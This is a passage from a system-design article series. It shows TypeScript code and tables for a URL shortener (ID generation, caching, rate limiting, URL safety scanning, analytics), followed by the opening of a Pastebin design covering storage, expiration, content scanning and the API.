| 7      | 3.5T         | Large services        |
| 8      | 218T         | All URLs on internet  |

### Snowflake ID Generator

```typescript collapse={1-15}
const EPOCH = 1609459200000n // 2021-01-01 00:00:00 UTC
const NODE_BITS = 10n
const SEQUENCE_BITS = 12n

const MAX_NODE_ID = (1n << NODE_BITS) - 1n
const MAX_SEQUENCE = (1n << SEQUENCE_BITS) - 1n

const NODE_SHIFT = SEQUENCE_BITS
const TIMESTAMP_SHIFT = SEQUENCE_BITS + NODE_BITS

export class SnowflakeGenerator {
  private nodeId: bigint
  private sequence: bigint = 0n
  private lastTimestamp: bigint = -1n

  constructor(nodeId: number) {
    if (nodeId < 0 || BigInt(nodeId) > MAX_NODE_ID) {
      throw new Error(`Node ID must be between 0 and ${MAX_NODE_ID}`)
    }
    this.nodeId = BigInt(nodeId)
  }

  generate(): bigint {
    let timestamp = BigInt(Date.now()) - EPOCH

    if (timestamp === this.lastTimestamp) {
      this.sequence = (this.sequence + 1n) & MAX_SEQUENCE
      if (this.sequence === 0n) {
        // Sequence exhausted, wait for next millisecond
        timestamp = this.waitNextMillis(this.lastTimestamp)
      }
    } else {
      this.sequence = 0n
    }

    this.lastTimestamp = timestamp

    return (timestamp << TIMESTAMP_SHIFT) | (this.nodeId << NODE_SHIFT) | this.sequence
  }

  private waitNextMillis(lastTimestamp: bigint): bigint {
    let timestamp = BigInt(Date.now()) - EPOCH
    while (timestamp <= lastTimestamp) {
      timestamp = BigInt(Date.now()) - EPOCH
    }
    return timestamp
  }
}
```

**Capacity:** 4,096 IDs per millisecond per node × 1,024 nodes = 4.1M IDs/second total.

### Redirect Service with Bloom Filter

```typescript collapse={1-20}
import { BloomFilter } from "bloom-filters"

interface RedirectResult {
  found: boolean
  longUrl?: string
  isExpired?: boolean
  requiresPassword?: boolean
}

class RedirectService {
  private readonly redis: RedisCluster
  private readonly cassandra: CassandraClient
  private readonly bloomFilter: BloomFilter
  private readonly analytics: AnalyticsCollector

  constructor() {
    // Bloom filter: 1B items, 0.1% false positive rate
    // Memory: ~1.2GB
    this.bloomFilter = BloomFilter.create(1_000_000_000, 0.001)
  }

  async redirect(shortCode: string, context: RequestContext): Promise<RedirectResult> {
    // Step 1: Bloom filter check (prevents cache stampede on non-existent codes)
    if (!this.bloomFilter.has(shortCode)) {
      return { found: false }
    }

    // Step 2: Redis cache check
    const cached = await this.redis.hgetall(`url:${shortCode}`)
    if (cached && cached.long_url) {
      this.logClick(shortCode, context) // Async, non-blocking
      return this.buildResult(cached)
    }

    // Step 3: Database lookup
    const row = await this.cassandra.execute("SELECT * FROM url_mappings WHERE short_code = ?", [shortCode])

    if (!row || row.length === 0) {
      // False positive from bloom filter
      return { found: false }
    }

    const url = row[0]

    // Step 4: Cache the result
    await this.redis.hset(`url:${shortCode}`, {
      long_url: url.long_url,
      expires_at: url.expires_at?.toISOString() || "",
      password_hash: url.password_hash || "",
      is_active: url.is_active ? "1" : "0",
    })
    await this.redis.expire(`url:${shortCode}`, 3600) // 1 hour TTL

    this.logClick(shortCode, context)
    return this.buildResult(url)
  }

  private buildResult(data: any): RedirectResult {
    if (data.is_active === "0" || data.is_active === false) {
      return { found: false }
    }

    if (data.expires_at && new Date(data.expires_at) < new Date()) {
      return { found: true, isExpired: true }
    }

    if (data.password_hash) {
      return { found: true, requiresPassword: true, longUrl: data.long_url }
    }

    return { found: true, longUrl: data.long_url }
  }

  private logClick(shortCode: string, context: RequestContext): void {
    // Fire and forget - don't await
    this.analytics
      .log({
        shortCode,
        timestamp: Date.now(),
        ip: context.ip,
        userAgent: context.userAgent,
        referer: context.referer,
      })
      .catch((err) => console.error("Analytics error:", err))
  }
}
```

### Rate Limiter (Sliding Window)

```typescript collapse={1-12}
interface RateLimitResult {
  allowed: boolean
  remaining: number
  resetAt: number
}

class SlidingWindowRateLimiter {
  private readonly redis: RedisCluster

  async checkLimit(key: string, limit: number, windowMs: number): Promise<RateLimitResult> {
    const now = Date.now()
    const windowStart = now - windowMs

    // Lua script for atomic sliding window
    const result = await this.redis.eval(
      `
      local key = KEYS[1]
      local now = tonumber(ARGV[1])
      local window_start = tonumber(ARGV[2])
      local limit = tonumber(ARGV[3])
      local window_ms = tonumber(ARGV[4])

      -- Remove old entries
      redis.call('ZREMRANGEBYSCORE', key, '-inf', window_start)

      -- Count current entries
      local count = redis.call('ZCARD', key)

      if count < limit then
        -- Add new entry
        redis.call('ZADD', key, now, now .. ':' .. math.random())
        redis.call('PEXPIRE', key, window_ms)
        return {1, limit - count - 1, now + window_ms}
      else
        -- Get oldest entry for reset time
        local oldest = redis.call('ZRANGE', key, 0, 0, 'WITHSCORES')
        local reset_at = oldest[2] + window_ms
        return {0, 0, reset_at}
      end
    `,
      [key],
      [now, windowStart, limit, windowMs],
    )

    return {
      allowed: result[0] === 1,
      remaining: result[1],
      resetAt: result[2],
    }
  }
}
```

### URL Scanner (Security)

```typescript collapse={1-15}
interface ScanResult {
  isSafe: boolean
  threats: string[]
  scanTime: number
}

class URLScanner {
  private readonly blocklist: BlocklistService
  private readonly googleSafeBrowsing: GoogleSafeBrowsingClient
  private readonly virusTotal: VirusTotalClient
  private readonly redis: RedisCluster

  async scan(url: string): Promise<ScanResult> {
    const urlHash = this.hashUrl(url)

    // Check cache first
    const cached = await this.redis.get(`scan:${urlHash}`)
    if (cached) {
      return JSON.parse(cached)
    }

    const domain = new URL(url).hostname
    const threats: string[] = []

    // Step 1: Local blocklist (fast)
    if (await this.blocklist.contains(domain)) {
      return this.cacheResult(urlHash, { isSafe: false, threats: ["blocklist"] })
    }

    // Step 2: Known-good allowlist
    if (await this.isKnownGood(domain)) {
      return this.cacheResult(urlHash, { isSafe: true, threats: [] })
    }

    // Step 3: Google Safe Browsing API
    const gsbResult = await this.googleSafeBrowsing.lookup(url)
    if (gsbResult.threats.length > 0) {
      threats.push(...gsbResult.threats)
    }

    // Step 4: VirusTotal (for suspicious domains)
    if (await this.isSuspicious(domain)) {
      const vtResult = await this.virusTotal.scan(url)
      if (vtResult.positives > 2) {
        threats.push("malware")
      }
    }

    const result: ScanResult = {
      isSafe: threats.length === 0,
      threats,
      scanTime: Date.now(),
    }

    return this.cacheResult(urlHash, result)
  }

  private async cacheResult(hash: string, result: ScanResult): Promise<ScanResult> {
    // Cache safe results longer than unsafe
    const ttl = result.isSafe ? 86400 : 3600 // 24h vs 1h
    await this.redis.setex(`scan:${hash}`, ttl, JSON.stringify(result))
    return result
  }

  private async isKnownGood(domain: string): Promise<boolean> {
    // Top 10K domains by traffic
    return this.redis.sismember("domains:allowlist", domain)
  }

  private async isSuspicious(domain: string): Promise<boolean> {
    // New domain, unusual TLD, etc.
    const domainAge = await this.getDomainAge(domain)
    return domainAge < 30 // Less than 30 days old
  }
}
```

### Analytics Pipeline

```typescript collapse={1-10}
interface ClickEvent {
  shortCode: string
  timestamp: number
  ip: string
  userAgent: string
  referer: string | null
}

class AnalyticsCollector {
  private readonly kafka: KafkaProducer
  private readonly buffer: ClickEvent[] = []
  private readonly BUFFER_SIZE = 100
  private readonly FLUSH_INTERVAL = 1000 // 1 second

  constructor() {
    setInterval(() => this.flush(), this.FLUSH_INTERVAL)
  }

  async log(event: ClickEvent): Promise<void> {
    this.buffer.push(event)

    if (this.buffer.length >= this.BUFFER_SIZE) {
      await this.flush()
    }
  }

  private async flush(): Promise<void> {
    if (this.buffer.length === 0) return

    const events = this.buffer.splice(0)

    await this.kafka.sendBatch({
      topic: "clicks",
      messages: events.map((e) => ({
        key: e.shortCode,
        value: JSON.stringify(e),
        timestamp: e.timestamp.toString(),
      })),
    })
  }
}

// Stream processor (Kafka Consumer → ClickHouse)
class ClickProcessor {
  private readonly clickhouse: ClickHouseClient
  private readonly geoIP: GeoIPService
  private readonly deviceParser: DeviceParser
  private readonly botDetector: BotDetector

  async process(event: ClickEvent): Promise<EnrichedClick> {
    const geo = await this.geoIP.lookup(event.ip)
    const device = this.deviceParser.parse(event.userAgent)
    const isBot = this.botDetector.detect(event.userAgent, event.ip)

    return {
      short_code: event.shortCode,
      clicked_at: new Date(event.timestamp),
      ip_hash: this.hashIP(event.ip), // GDPR compliance
      country: geo.country,
      city: geo.city,
      device_type: device.type,
      browser: device.browser,
      os: device.os,
      referrer_domain: this.extractDomain(event.referer),
      referrer_path: this.extractPath(event.referer),
      is_bot: isBot.isBot ? 1 : 0,
      bot_type: isBot.type,
    }
  }

  private hashIP(ip: string): string {
    // GDPR-compliant anonymization
    return crypto
      .createHash("sha256")
      .update(ip + process.env.IP_SALT)
      .digest("hex")
      .substring(0, 32)
  }
}
```

## Frontend Considerations

### Redirect Performance

**Critical path optimization:**

The redirect is the most latency-sensitive operation. Every millisecond matters.

```typescript collapse={1-8}
// Server-side redirect handler (minimal processing)
export async function handleRedirect(req: Request): Promise<Response> {
  const shortCode = req.url.split("/").pop()

  // Validate format before any I/O
  if (!isValidCode(shortCode)) {
    return new Response(null, { status: 404 })
  }

  const result = await redirectService.redirect(shortCode, {
    ip: req.headers.get("x-forwarded-for"),
    userAgent: req.headers.get("user-agent"),
    referer: req.headers.get("referer"),
  })

  if (!result.found) {
    return new Response(null, { status: 404 })
  }

  if (result.isExpired) {
    return new Response("Link expired", { status: 410 })
  }

  if (result.requiresPassword) {
    return renderPasswordPage(shortCode)
  }

  return new Response(null, {
    status: 302,
    headers: {
      Location: result.longUrl,
      "Cache-Control": "private, max-age=60",
      "X-Robots-Tag": "noindex",
    },
  })
}
```

**Why 302 over 301:**

| Factor          | 301 (Permanent)         | 302 (Temporary)        |
| --------------- | ----------------------- | ---------------------- |
| Browser caching | Aggressive (forever)    | Respects Cache-Control |
| Click tracking  | Misses cached clicks    | Tracks all clicks      |
| URL updates     | Cached version persists | Changes reflected      |
| CDN caching     | Long TTL safe           | Short TTL recommended  |

**Recommendation:** Use 302 with `Cache-Control: private, max-age=60`. CDN caches for 60s (absorbs spikes), browsers cache briefly, analytics remain accurate.

### Dashboard State Management

```typescript collapse={1-12}
// URL analytics dashboard state
interface DashboardState {
  urls: Map<string, URLSummary>
  selectedUrl: string | null
  analytics: AnalyticsData | null
  dateRange: DateRange
  isLoading: boolean
}

// Normalized store for efficient updates
const useDashboardStore = create<DashboardState>((set, get) => ({
  urls: new Map(),
  selectedUrl: null,
  analytics: null,
  dateRange: { start: subDays(new Date(), 7), end: new Date() },
  isLoading: false,

  // Actions
  fetchUrls: async () => {
    set({ isLoading: true })
    const urls = await api.getUrls()
    set({
      urls: new Map(urls.map((u) => [u.id, u])),
      isLoading: false,
    })
  },

  selectUrl: async (urlId: string) => {
    set({ selectedUrl: urlId, isLoading: true })
    const analytics = await api.getAnalytics(urlId, get().dateRange)
    set({ analytics, isLoading: false })
  },

  updateDateRange: async (range: DateRange) => {
    set({ dateRange: range })
    const { selectedUrl } = get()
    if (selectedUrl) {
      set({ isLoading: true })
      const analytics = await api.getAnalytics(selectedUrl, range)
      set({ analytics, isLoading: false })
    }
  },
}))
```

### Real-Time Click Counter

```typescript collapse={1-10}
// WebSocket for live click updates
class ClickStreamClient {
  private ws: WebSocket | null = null
  private subscriptions = new Set<string>()

  connect(authToken: string): void {
    this.ws = new WebSocket(`wss://api.suj.ee/ws?token=${authToken}`)

    this.ws.onmessage = (event) => {
      const data = JSON.parse(event.data)
      if (data.type === "click") {
        this.handleClick(data.shortCode, data.count)
      }
    }
  }

  subscribe(shortCode: string): void {
    this.subscriptions.add(shortCode)
    this.ws?.send(
      JSON.stringify({
        action: "subscribe",
        shortCode,
      }),
    )
  }

  private handleClick(shortCode: string, count: number): void {
    // Update local state
    useDashboardStore.getState().updateClickCount(shortCode, count)
  }
}
```

## Infrastructure

### Cloud-Agnostic Components

| Component      | Purpose                       | Options                        |
| -------------- | ----------------------------- | ------------------------------ |
| CDN            | Edge caching, DDoS protection | Cloudflare, Fastly, CloudFront |
| Load balancer  | Traffic distribution          | HAProxy, NGINX, ALB            |
| Application    | Redirect service, API         | Node.js, Go, Rust              |
| KV cache       | Hot URLs, rate limits         | Redis, KeyDB, Dragonfly        |
| Primary DB     | URL mappings                  | Cassandra, ScyllaDB, DynamoDB  |
| Analytics DB   | Click data                    | ClickHouse, Druid, TimescaleDB |
| Message queue  | Analytics pipeline            | Kafka, Pulsar, Redpanda        |
| Object storage | Exports, backups              | S3, GCS, MinIO                 |

### AWS Reference Architecture

![Diagram](./diagram-8.svg)

**Service configurations:**

| Service                      | Configuration                | Rationale                                  |
| ---------------------------- | ---------------------------- | ------------------------------------------ |
| CloudFront                   | 200+ edge locations          | Global low-latency redirects               |
| Redirect Service (Fargate)   | 2 vCPU, 4GB, 50 tasks        | High throughput, stateless                 |
| Shortening Service (Fargate) | 2 vCPU, 4GB, 10 tasks        | Lower traffic than redirects               |
| ElastiCache Redis            | r6g.xlarge cluster, 3 shards | Hot URL cache, rate limits                 |
| Amazon Keyspaces             | On-demand                    | Serverless Cassandra, scales automatically |
| RDS PostgreSQL               | db.r6g.large Multi-AZ        | Users, KGS, configuration                  |
| MSK                          | kafka.m5.large × 3           | Click event streaming                      |

### Self-Hosted Alternatives

| Managed Service  | Self-Hosted Option   | When to Self-Host               |
| ---------------- | -------------------- | ------------------------------- |
| Amazon Keyspaces | ScyllaDB             | Cost at scale, lower latency    |
| ElastiCache      | Redis Cluster on EC2 | Specific modules, cost          |
| CloudFront       | Cloudflare           | Better DDoS protection, cheaper |
| MSK              | Redpanda             | Lower latency, simpler ops      |

### Monitoring

**Key metrics:**

| Metric               | Alert Threshold | Action                     |
| -------------------- | --------------- | -------------------------- |
| Redirect latency p99 | > 100ms         | Scale Redis, check CDN     |
| CDN cache hit ratio  | < 80%           | Review cache headers       |
| 404 rate             | > 5%            | Check for scanning attacks |
| KGS key inventory    | < 20%           | Generate new batch         |
| Click pipeline lag   | > 60s           | Scale analytics processors |

**Distributed tracing:**

```
Request → CDN → Load Balancer → Redirect Service → Redis/Cassandra → Analytics
   │                                                                      │
   └─────────────────── Trace ID propagated ──────────────────────────────┘
```

- Each redirect gets unique trace ID
- Propagate through all services
- 100% sampling for errors, 1% for normal traffic

## Conclusion

This design provides a production-ready URL shortener with:

1. **Zero collision guarantee** via Key Generation Service
2. **Sub-50ms global redirect latency** through CDN edge caching and Redis
3. **100K+ RPS capacity** with horizontal scaling
4. **Real-time analytics** without blocking redirects
5. **Security-first approach** with URL scanning and rate limiting

**Key architectural decisions:**

- KGS + Snowflake hybrid for ID generation balances simplicity and scale
- 302 redirects with short CDN TTL enable analytics while absorbing traffic spikes
- Cassandra for URL mappings provides O(1) lookups and horizontal scaling
- Async analytics pipeline (Kafka → ClickHouse) keeps redirect path fast

**Known limitations:**

- KGS requires pre-generation overhead and key exhaustion monitoring
- 302 redirects increase server load vs. 301 caching
- Analytics have 1-5 second delay due to async processing
- Bloom filter false positives cause unnecessary DB lookups (~0.1%)

**Future enhancements:**

- Link preview generation (OpenGraph scraping)
- A/B testing for destinations
- Geographic routing (different destination per region)
- Deep link support for mobile apps

## Appendix

### Prerequisites

- Distributed systems fundamentals (consistent hashing, replication)
- Database selection trade-offs (SQL vs. NoSQL)
- Caching strategies (TTL, eviction policies)
- HTTP redirect semantics (301 vs. 302)

### Terminology

| Term                   | Definition                                                                  |
| ---------------------- | --------------------------------------------------------------------------- |
| **Base62**             | Encoding using 62 characters (0-9, A-Z, a-z) for URL-safe short codes       |
| **Snowflake ID**       | Twitter's distributed ID generation algorithm (timestamp + node + sequence) |
| **KGS**                | Key Generation Service - pre-generates unique short codes                   |
| **Bloom filter**       | Probabilistic data structure for fast membership testing                    |
| **Consistent hashing** | Sharding technique that minimizes data movement on cluster changes          |
| **CDN**                | Content Delivery Network - edge caching for global low latency              |
| **Hot key**            | Cache key receiving disproportionate traffic (viral links)                  |

### Summary

- **ID generation** uses KGS for random codes and Snowflake for time-ordered IDs, both Base62 encoded for URL-safe 7-character codes
- **Storage** uses Cassandra for URL mappings (O(1) lookups, horizontal scaling) and ClickHouse for analytics (columnar, fast aggregations)
- **Caching** is multi-tier: CDN edge (global) → Redis (regional) → Database, with Bloom filters preventing cache stampede
- **Redirects** use 302 status with short CDN TTL to balance analytics accuracy with traffic absorption
- **Analytics** collected asynchronously via Kafka to never block the redirect critical path
- **Security** includes URL scanning (Google Safe Browsing, VirusTotal), rate limiting, and bot detection

### References

**Real-World Implementations:**

- [Bitly: Lessons Learned Building a Distributed System that Handles 6 Billion Clicks a Month](http://highscalability.com/blog/2014/7/14/bitly-lessons-learned-building-a-distributed-system-that-han.html) - SOA architecture, monitoring at scale
- [Twitter t.co Documentation](https://developer.x.com/en/docs/tco) - Built-in security scanning, analytics integration
- [Snowflake ID - Wikipedia](https://en.wikipedia.org/wiki/Snowflake_ID) - Distributed ID generation algorithm

**Technical Deep Dives:**

- [System Design: URL Shortening](https://systemdesign.one/url-shortening-system-design/) - Comprehensive system design walkthrough
- [URL Shortener Using Snowflake IDs and Base62 Encoding](https://dev.to/speaklouder/url-shortener-using-snowflake-ids-and-base62-encoding-4179) - Implementation details
- [301 vs 302 Redirects in URL Shorteners](https://url-shortening.com/blog/301-vs-302-redirects-in-shorteners-speed-seo-and-caching) - Redirect strategy trade-offs

**Security:**

- [URL Shortening Allows Threats to Evade Traditional Tools](https://www.menlosecurity.com/blog/url-shortening-allows-threats-to-evade-url-filtering-and-categorization-tools) - Security challenges
- [How URL Shortener Services Handle Abuse and Spam](https://on4t.net/blog/url-shortener-handle-abuse-spam/) - Abuse prevention strategies

**Privacy and Compliance:**

- [GDPR Compliance in URL Shorteners](https://iplogger.org/gdpr/) - Privacy requirements
- [Best URL Shorteners for Privacy](https://blog.choto.co/best-url-shorteners-for-privacy/) - GDPR-compliant implementations

---

## Design Pastebin: Text Sharing, Expiration, and Abuse Prevention

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-pastebin
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a text-sharing service like Pastebin covering URL generation strategies, content storage at scale, expiration policies, syntax highlighting, access control, and abuse prevention. This design addresses sub-100ms paste retrieval at 10:1 read-to-write ratio with content deduplication and multi-tier storage tiering.

# Design Pastebin: Text Sharing, Expiration, and Abuse Prevention

A comprehensive system design for a text-sharing service like Pastebin covering URL generation strategies, content storage at scale, expiration policies, syntax highlighting, access control, and abuse prevention. This design addresses sub-100ms paste retrieval at 10:1 read-to-write ratio with content deduplication and multi-tier storage tiering.

<figure>

![High-level architecture: CDN caches immutable paste content at the edge, core services handle creation and retrieval, object storage holds paste bodies separately from metadata for independent scaling.](./high-level-architecture-cdn-caches-immutable-paste-content-at-the-edge-core-serv.svg)

<figcaption>High-level architecture: CDN caches immutable paste content at the edge, core services handle creation and retrieval, object storage holds paste bodies separately from metadata for independent scaling.</figcaption>
</figure>

## Abstract

A paste service maps short unique URLs to text blobs—conceptually simple, but the design space branches around three axes: how you generate collision-free IDs at scale, where you store potentially large text content cost-effectively, and how you handle the lifecycle of ephemeral vs. permanent pastes.

**Core architectural decisions:**

| Decision        | Choice                                                  | Rationale                                                      |
| --------------- | ------------------------------------------------------- | -------------------------------------------------------------- |
| ID generation   | KGS (Key Generation Service) with Base62                | Zero collisions, O(1) key retrieval, decoupled from write path |
| Content storage | Object storage (S3) for bodies, PostgreSQL for metadata | Independent scaling of blobs and queryable metadata            |
| Caching         | Multi-tier (CDN → Redis → S3)                           | Sub-100ms reads globally, pastes are immutable after creation  |
| Compression     | zstd at write time                                      | 60-70% reduction on text; fast decompression for reads         |
| Deduplication   | SHA-256 content hash for internal dedup                 | Saves storage without leaking content existence via URL        |
| Expiration      | Hybrid lazy check + active sweep                        | Correct reads without dedicated cleanup blocking production    |

**Key trade-offs accepted:**

- Object storage adds a network hop vs. inline database storage, but pastes can be multi-MB and S3 scales independently
- KGS pre-generation wastes some keys on server crashes, but guarantees zero write-path collisions
- zstd compression adds CPU at write time but reduces storage cost and CDN egress by 60-70%
- Lazy expiration means expired pastes consume storage until the next sweep, but reads are always correct

**What this design optimizes:**

- Sub-100ms paste retrieval via CDN edge caching of immutable content
- Cost-effective storage with compression + tiering (hot → warm → cold)
- Zero-collision URL generation without write-path coordination
- Graceful abuse prevention without blocking legitimate traffic

## Requirements

### Functional Requirements

| Requirement          | Priority | Notes                                              |
| -------------------- | -------- | -------------------------------------------------- |
| Create paste         | Core     | Accept text content, return unique short URL       |
| Read paste           | Core     | Retrieve paste content by short URL                |
| Paste expiration     | Core     | Time-based (10min to never) and burn-after-read    |
| Syntax highlighting  | Core     | Server-side rendering with language detection      |
| Access control       | Core     | Public, unlisted, private (password-protected)     |
| Raw content endpoint | Core     | Plain-text retrieval for CLI/API consumers         |
| Content size limits  | Extended | Configurable max size (default 512 KB, paid 10 MB) |
| Paste editing        | Extended | Create new version, previous URL remains immutable |
| Paste forking        | Extended | Copy and modify another user's paste               |
| API access           | Extended | RESTful API with key-based auth                    |

### Non-Functional Requirements

| Requirement         | Target                      | Rationale                                             |
| ------------------- | --------------------------- | ----------------------------------------------------- |
| Availability        | 99.9% (3 nines)             | Text sharing is useful but not mission-critical       |
| Read latency        | p99 < 100ms                 | Fast rendering for developer workflows                |
| Write latency       | p99 < 500ms                 | Acceptable for paste creation (compression + storage) |
| Throughput (reads)  | 5K RPS                      | Estimated peak from scale estimation below            |
| Throughput (writes) | 500 RPS                     | Write-light workload                                  |
| Max paste size      | 512 KB (free), 10 MB (paid) | Prevents abuse while supporting real use cases        |
| Data durability     | 99.999999999% (11 nines)    | S3-grade durability for paste content                 |
| Paste URL length    | 7-8 characters              | Short enough for sharing, large enough keyspace       |

### Scale Estimation

**Users and traffic (Pastebin.com-scale reference):**

- Monthly Active Users (MAU): 10M
- Daily Active Users (DAU): 1M (10% of MAU)
- New pastes/day: 500K
- Read-to-write ratio: 10:1 (reads dominate, but not as extreme as URL shorteners)

**Traffic:**

- Reads/day: 500K × 10 = 5M reads/day
- Average read RPS: 5M / 86,400 ≈ 58 RPS
- Peak multiplier (3x): ~174 RPS
- Viral spike (50x single paste): ~3K RPS burst
- Writes: 500K / 86,400 ≈ 6 RPS average, ~18 RPS peak

**Storage:**

- Average paste size: 5 KB (code snippets, logs, config)
- Daily raw content: 500K × 5 KB = 2.5 GB/day
- After zstd compression (~65% reduction): 875 MB/day
- Yearly content: ~320 GB compressed
- 5-year retention: ~1.6 TB compressed content
- Metadata per paste: ~200 bytes (IDs, timestamps, flags)
- Yearly metadata: 500K × 365 × 200B ≈ 36 GB

**Key insight:** Storage is modest even at scale. The real challenges are ID generation without collisions, efficient expiration of hundreds of millions of pastes, and abuse prevention for a service that accepts arbitrary text from the internet.

## Design Paths

### Path A: Monolithic Storage (Database-Only)

**Best when:**

- Small to moderate scale (< 1M pastes)
- Simple operational requirements
- Paste size consistently small (< 10 KB)

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Paste content stored inline in database as `TEXT` column
- Single data store for metadata and content
- Simpler operational model (one system to back up, monitor, scale)

**Trade-offs:**

- ✅ Simplest deployment and operations
- ✅ Transactional consistency between metadata and content
- ✅ No additional network hop for content retrieval
- ❌ Database bloat as paste volume grows (impacts query performance on metadata)
- ❌ Expensive storage (RDS per-GB cost is 10-20x S3)
- ❌ Backup and replication transfer large blobs unnecessarily
- ❌ Cannot independently scale storage and compute

**Real-world example:** dpaste stores content directly in the database via Django ORM. Works well at dpaste's scale but would strain at Pastebin's millions.

### Path B: Split Storage (Metadata DB + Object Storage)

**Best when:**

- Moderate to large scale (1M+ pastes)
- Variable paste sizes (1 KB to 10 MB)
- Cost optimization matters
- Independent scaling of storage and query layers needed

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Metadata (paste_id, created_at, expires_at, visibility, content_hash) in PostgreSQL
- Paste content stored as compressed objects in S3, keyed by paste_id
- Content hash stored in metadata for deduplication lookups
- Redis caches deserialized hot pastes

**Trade-offs:**

- ✅ S3 storage cost is ~$0.023/GB vs. ~$0.115/GB for RDS (5x cheaper)
- ✅ S3 scales to exabytes without provisioning
- ✅ Database stays lean—fast metadata queries, small backups
- ✅ CDN can serve S3 objects directly for raw content
- ❌ Extra network hop on cache miss (API → S3)
- ❌ No transactional consistency between metadata and content writes
- ❌ Two systems to operate

**Real-world example:** GitHub Gists use Git repositories (effectively object storage) for content with a relational layer for metadata and discovery.

### Path C: Content-Addressable Storage

**Best when:**

- High duplication rate (logs, error dumps, config files)
- Storage cost is the dominant concern
- Acceptable to trade write complexity for storage savings

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Content stored by SHA-256 hash, not by paste_id
- Multiple paste_ids can reference the same content blob
- Deduplication is automatic—identical pastes share storage
- Paste URL is a separate opaque ID (not the content hash)

**Trade-offs:**

- ✅ Automatic deduplication (significant savings if many identical pastes)
- ✅ Content integrity verification built-in
- ❌ Deletion complexity: cannot delete a blob until all referencing pastes expire
- ❌ Reference counting adds write-path complexity
- ❌ Content existence leakage if paste URL were the hash (mitigated by using opaque IDs)
- ❌ Negligible savings if duplication rate is low

### Path Comparison

| Factor                    | Monolithic (A)   | Split Storage (B) | Content-Addressable (C) |
| ------------------------- | ---------------- | ----------------- | ----------------------- |
| Operational complexity    | Low              | Medium            | High                    |
| Storage cost at scale     | High             | Low               | Lowest (with dedup)     |
| Read latency (cache miss) | Lowest (one hop) | Medium (two hops) | Medium (two hops)       |
| Write consistency         | ACID             | Eventual          | Eventual                |
| Independent scaling       | No               | Yes               | Yes                     |
| Max practical scale       | ~10M pastes      | Billions          | Billions                |
| Deduplication             | None             | Optional          | Native                  |

### This Article's Focus

This article focuses on **Path B (Split Storage)** with optional content-addressable deduplication because:

1. It matches the scale profile of real paste services (hundreds of millions of pastes)
2. Cost-effective storage is critical when accepting arbitrary content from the internet
3. Split architecture allows CDN to serve raw paste content directly from S3
4. Deduplication can be layered on without architectural changes

## High-Level Design

### Component Overview

![Diagram](./diagram-4.svg)

### Paste Write Service

Accepts text content, compresses it, stores it in S3, and persists metadata.

**Write flow:**

![Diagram](./diagram-5.svg)

**Design decisions:**

| Decision            | Choice                       | Rationale                                                                                                |
| ------------------- | ---------------------------- | -------------------------------------------------------------------------------------------------------- |
| Compression         | zstd (level 3) at write time | 65% reduction on text; fast decompression; dictionary support for similar content                        |
| Write ordering      | S3 first, then DB            | If DB write fails, orphaned S3 object is cleaned up by periodic sweep—cheaper than inconsistent metadata |
| Syntax highlighting | Async via queue              | Highlighting large pastes (10 MB) can take seconds; don't block the write response                       |
| Content hash        | SHA-256, stored in metadata  | Enables optional dedup without coupling to content-addressable storage                                   |

### Paste Read Service

The hot path. Retrieves paste content via multi-tier cache.

**Read flow:**

![Diagram](./diagram-6.svg)

**Critical optimizations:**

- **Immutable content = aggressive caching.** Paste content never changes after creation. CDN can cache with long TTLs; cache invalidation only needed on deletion or expiration.
- **Burn-after-read bypasses all caches.** These pastes are served directly from origin with `Cache-Control: no-store` and atomically deleted after the first read.
- **Bloom filter on Redis** prevents cache stampede for non-existent paste IDs (404s don't hit the database).

### Key Generation Service (KGS)

Pre-generates Base62-encoded 7-character keys for zero-collision paste URL assignment.

**Keyspace math:**

- 7-character Base62: 62^7 = 3.52 trillion possible keys
- At 500K pastes/day: 182.5M pastes/year
- Keyspace exhaustion: ~19,000 years

**Key allocation:**

1. Offline generator produces random 7-character Base62 strings in batches
2. Stored in a dedicated key pool table (or DynamoDB) with `status = 'available'`
3. Each app server fetches a batch of 1,000 keys on startup
4. Keys assigned from local cache—no database round-trip per paste
5. On graceful shutdown, unused keys are returned to the pool

**Failure handling:**

- **App server crash:** Allocated batch (~1,000 keys) is lost. At 3.52 trillion keyspace, this is negligible.
- **KGS unavailable:** App servers have local buffer. Alert at < 100 remaining local keys.
- **Duplicate prevention:** Keys are generated randomly and checked for uniqueness against the used-keys set before entering the pool.

### Expiration Service

Handles time-based paste expiration and burn-after-read.

**Hybrid expiration strategy:**

1. **Lazy check on read:** Every read checks `expires_at` before serving content. Expired pastes return `410 Gone`. This guarantees readers never see expired content.
2. **Active sweep:** A background cron job runs every hour, querying `SELECT id FROM pastes WHERE expires_at < NOW() AND deleted_at IS NULL LIMIT 10000`. Deletes S3 objects and marks metadata as deleted in batches.

**Burn-after-read implementation:**

![Diagram](./diagram-7.svg)

**Race condition handling:** The `SELECT ... FOR UPDATE` acquires a row-level lock. If two concurrent readers hit the same burn-after-read paste, only the first gets the content; the second sees `deleted_at IS NOT NULL` and receives `410 Gone`. This is the correct behavior—exactly one reader sees the content.

### Content Scanner

Asynchronous scanning for malware signatures, credential dumps, and PII (Personally Identifiable Information) patterns.

**Scanning pipeline:**

1. On paste creation, content hash is checked against a known-bad-content blocklist
2. Regex patterns detect credential dumps (email:password patterns), API keys, and private keys
3. Flagged pastes are quarantined—visible only to the creator until manual review
4. Confirmed malicious content is deleted and the creator's account is flagged

**Rate limiting tiers:**

| Tier                 | Limit               | Scope       |
| -------------------- | ------------------- | ----------- |
| Anonymous            | 10 pastes/hour      | Per IP      |
| Authenticated (free) | 60 pastes/hour      | Per API key |
| Authenticated (paid) | 600 pastes/hour     | Per API key |
| Read (all tiers)     | 300 requests/minute | Per IP      |

## API Design

### Create Paste

**Endpoint:** `POST /api/v1/pastes`

**Request:**

```json
{
  "content": "string (max 512KB / 10MB for paid)",
  "title": "string | null (max 100 chars)",
  "language": "string | null (e.g., 'python', 'json')",
  "expiration": "10m | 1h | 1d | 1w | 1m | 6m | 1y | never | burn_after_read",
  "visibility": "public | unlisted | private",
  "password": "string | null (required if visibility = 'private')"
}
```

**Response (201 Created):**

```json
{
  "id": "aB3kF9x",
  "url": "https://paste.example.com/aB3kF9x",
  "raw_url": "https://paste.example.com/raw/aB3kF9x",
  "title": "My Snippet",
  "language": "python",
  "created_at": "2025-01-15T10:30:00Z",
